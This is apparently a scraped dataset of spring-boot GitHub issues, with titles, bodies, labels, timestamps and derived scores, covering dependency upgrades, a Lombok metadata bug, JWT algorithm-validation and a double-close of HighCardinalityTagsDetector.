spring-projects/spring-boot,4293475787,HTTP Service Interface Clients still document that API versioning can be configured via properties,We've decided that this feature is best used with a programmatic builder but we still have an example in the doc that implies this is supported.,type: documentation,2026-04-20 06:07:48+00:00,2026-04-20 06:23:23+00:00,0,type: documentation,0.0108,http service interface clients still document that api versioning can be configured via properties we ve decided that this feature is best used with a programmatic builder but we still have an example in the doc that implies this is supported,documentation,0.6757
spring-projects/spring-boot,4289415538,LombokPropertyDescriptor.isMarkedAsNested does not check getter for @NestedConfigurationProperty,"Follow-up to gh-49734 and gh-50096.

`LombokPropertyDescriptor.isMarkedAsNested` only checks the field for
`@NestedConfigurationProperty`, but does not check the getter:

```java
protected boolean isMarkedAsNested(MetadataGenerationEnvironment environment) {
    return environment.getNestedConfigurationPropertyAnnotation(getField()) != null;
}
```

This means if someone places `@NestedConfigurationProperty` on the getter
of a Lombok property the annotation is silently ignored and nested
configuration metadata is not generated.

`ConstructorParameterPropertyDescriptor` and `RecordParameterPropertyDescriptor`
both check field + getter. `LombokPropertyDescriptor` should do the same.

Suggested fix:

```java
protected boolean isMarkedAsNested(MetadataGenerationEnvironment environment) {
    return environment.getNestedConfigurationPropertyAnnotation(getField()) != null
            || environment.getNestedConfigurationPropertyAnnotation(getGetter()) != null;
}
```",status: invalid,2026-04-18 23:05:33+00:00,2026-04-30 14:45:41+00:00,6,status: invalid,11.6529,lombokpropertydescriptor ismarkedasnested does not check getter for nestedconfigurationproperty follow up to gh and gh only checks the field for but does not check the getter this means if someone places on the getter of a lombok property the annotation is silently ignored and nested configuration metadata is not generated and both check field getter should do the same suggested fix,others,0.0772
spring-projects/spring-boot,4287551590,NimbusJwtDecoder silently accepts unknown values for spring.security.oauth2.resourceserver.jwt.jws-algorithms,"### Affects versions
3.5.x, 4.0.x, 4.x (main)

### Summary
`OAuth2ResourceServerJwtConfiguration.jwsAlgorithms(Set)` and its reactive counterpart `ReactiveOAuth2ResourceServerJwkConfiguration.jwsAlgorithms(Set)` map each configured value through `SignatureAlgorithm.from(String)` and add the result directly to the set:

```java
for (String algorithm : this.properties.getJwsAlgorithms()) {
    signatureAlgorithms.add(SignatureAlgorithm.from(algorithm));
}
```

`SignatureAlgorithm.from(String)` returns `null` when the argument is not a recognised algorithm, so the `null` is silently added to the set that is subsequently passed to `NimbusJwtDecoder` / `NimbusReactiveJwtDecoder`.

### Expected behavior
Consistent with the public-key path (`exactlyOneAlgorithm()` in the same class), an unknown algorithm name should fail fast at configuration time with an `InvalidConfigurationPropertyValueException` pointing at `spring.security.oauth2.resourceserver.jwt.jws-algorithms`, so the misconfiguration surfaces immediately.

### Actual behavior
A typo such as `RS265` (instead of `RS256`) is accepted silently and only surfaces later as a confusing verification-time failure at the first authenticated request.

### Suggested fix
Reject unknown algorithm names in both the servlet and reactive `jwsAlgorithms(Set)` methods using the same `InvalidConfigurationPropertyValueException` that `exactlyOneAlgorithm()` already uses. PR to follow against `3.5.x`.",status: superseded,2026-04-18 09:54:27+00:00,2026-04-19 06:25:29+00:00,1,status: superseded,0.8549,nimbusjwtdecoder silently accepts unknown values for spring security oauth resourceserver jwt jws algorithms affects versions x x x main summary and its reactive counterpart map each configured value through and add the result directly to the set returns when the argument is not a recognised algorithm so the is silently added to the set that is subsequently passed to consistent with the public key path in the same class an unknown algorithm name should fail fast at configuration time with an pointing at so the misconfiguration surfaces immediately a typo such as instead of is accepted silently and only surfaces later as a confusing verification time failure at the first authenticated request suggested fix reject unknown algorithm names in both the servlet and reactive methods using the same that already uses pr to follow against,others,0.4588
spring-projects/spring-boot,4287008029,Upgrade to jOOQ 3.19.32,Upgrade to [jOOQ 3.19.32](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.32).,"type: dependency-upgrade,status: team-only",2026-04-18 06:18:37+00:00,2026-04-18 06:49:05+00:00,0,"type: dependency-upgrade,status: team-only",0.0212,upgrade to jooq upgrade to jooq,others,0.0
spring-projects/spring-boot,4287007908,Upgrade to Jaxen 2.0.1,Upgrade to [Jaxen 2.0.1](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.1).,"type: dependency-upgrade,status: team-only",2026-04-18 06:18:33+00:00,2026-04-18 06:49:05+00:00,0,"type: dependency-upgrade,status: team-only",0.0212,upgrade to jaxen upgrade to jaxen,others,0.0
spring-projects/spring-boot,4287007834,Upgrade to Spring HATEOAS 3.1.0-RC1,Upgrade to [Spring HATEOAS 3.1.0-RC1](https://github.com/spring-projects/spring-hateoas/releases/tag/3.1.0-RC1).,"type: dependency-upgrade,status: team-only",2026-04-18 06:18:30+00:00,2026-04-18 06:49:04+00:00,0,"type: dependency-upgrade,status: team-only",0.0212,upgrade to spring hateoas rc upgrade to spring hateoas rc,others,0.0
spring-projects/spring-boot,4287007570,Upgrade to jOOQ 3.21.2,"Upgrade to [jOOQ 3.21.2](https://github.com/jOOQ/jOOQ/releases/tag/version-3.21.2).

Supersedes #49932","type: dependency-upgrade,status: team-only",2026-04-18 06:18:25+00:00,2026-04-18 06:49:02+00:00,0,"type: dependency-upgrade,status: team-only",0.0213,upgrade to jooq upgrade to jooq supersedes,others,0.0
spring-projects/spring-boot,4287007437,Upgrade to Jaxen 2.0.1,Upgrade to [Jaxen 2.0.1](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.1).,"type: dependency-upgrade,status: team-only",2026-04-18 06:18:21+00:00,2026-04-18 06:49:02+00:00,0,"type: dependency-upgrade,status: team-only",0.0213,upgrade to jaxen upgrade to jaxen,others,0.0
spring-projects/spring-boot,4287001148,Upgrade to jOOQ 3.19.32,Upgrade to [jOOQ 3.19.32](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.32).,"type: dependency-upgrade,status: team-only",2026-04-18 06:16:23+00:00,2026-04-18 06:49:00+00:00,0,"type: dependency-upgrade,status: team-only",0.0227,upgrade to jooq upgrade to jooq,others,0.0
spring-projects/spring-boot,4287001002,Upgrade to Jaxen 2.0.1,Upgrade to [Jaxen 2.0.1](https://github.com/jaxen-xpath/jaxen/releases/tag/v2.0.1).,"type: dependency-upgrade,status: team-only",2026-04-18 06:16:19+00:00,2026-04-18 06:48:59+00:00,0,"type: dependency-upgrade,status: team-only",0.0227,upgrade to jaxen upgrade to jaxen,others,0.0
spring-projects/spring-boot,4280735445,Upgrade to Elasticsearch Client 9.3.4,"Upgrade to [Elasticsearch Client 9.3.4](https://www.elastic.co/docs/release-notes/elasticsearch/clients/java/9-3-4).

Supersedes #50003","type: dependency-upgrade,status: team-only",2026-04-17 06:52:05+00:00,2026-04-17 06:57:57+00:00,0,"type: dependency-upgrade,status: team-only",0.0041,upgrade to elasticsearch client upgrade to elasticsearch client supersedes,others,0.0
spring-projects/spring-boot,4278926384,HighCardinalityTagsDetector close method gets called multiple times,"Use Spring Boot 4.0.5 with a project generated by Spring Initializer with `spring-boot-starter-web` and `spring-boot-starter-actuator `dependencies.

Add this meter registry customizer to the main application class

```java
@SpringBootApplication
public class DemoApplication {

  public static void main(String[] args) {
    SpringApplication.run(DemoApplication.class, args);
  }

  @Bean
  MeterRegistryCustomizer<MeterRegistry> metricsCustomizer() {
    return registry -> registry.config()
      .withHighCardinalityTagsDetector();
  }

}
```

Start up the application, then shut it down. I am running using Intellij and stopping the application by using the stop button on the run configuration.

Notice multiple log statements about `HighCardinalityTagsDetector` being shutdown when app is terminated.

**Log output**
```
2026-04-16T16:08:11.890-06:00  INFO 68464 --- [demo] [ionShutdownHook] i.m.c.i.HighCardinalityTagsDetector      : Stopping HighCardinalityTagsDetector
2026-04-16T16:08:11.891-06:00  INFO 68464 --- [demo] [ionShutdownHook] o.s.boot.tomcat.GracefulShutdown         : Commencing graceful shutdown. Waiting for active requests to complete
2026-04-16T16:08:13.907-06:00  INFO 68464 --- [demo] [tomcat-shutdown] o.s.boot.tomcat.GracefulShutdown         : Graceful shutdown complete
2026-04-16T16:08:13.917-06:00  INFO 68464 --- [demo] [ionShutdownHook] i.m.c.i.HighCardinalityTagsDetector      : Stopping HighCardinalityTagsDetector
```

In `MeterRegistry.close()`, the detecto... [TRUNCATED]","status: invalid,for: external-project",2026-04-16 22:40:15+00:00,2026-04-17 12:57:02+00:00,2,"status: invalid,for: external-project",0.595,highcardinalitytagsdetector close method gets called multiple times use spring boot with a project generated by spring initializer with and dependencies add this meter registry customizer to the main application class start up the application then shut it down i am running using intellij and stopping the application by using the stop button on the run configuration notice multiple log statements about being shutdown when app is terminated log output in the detecto truncated,others,-0.4215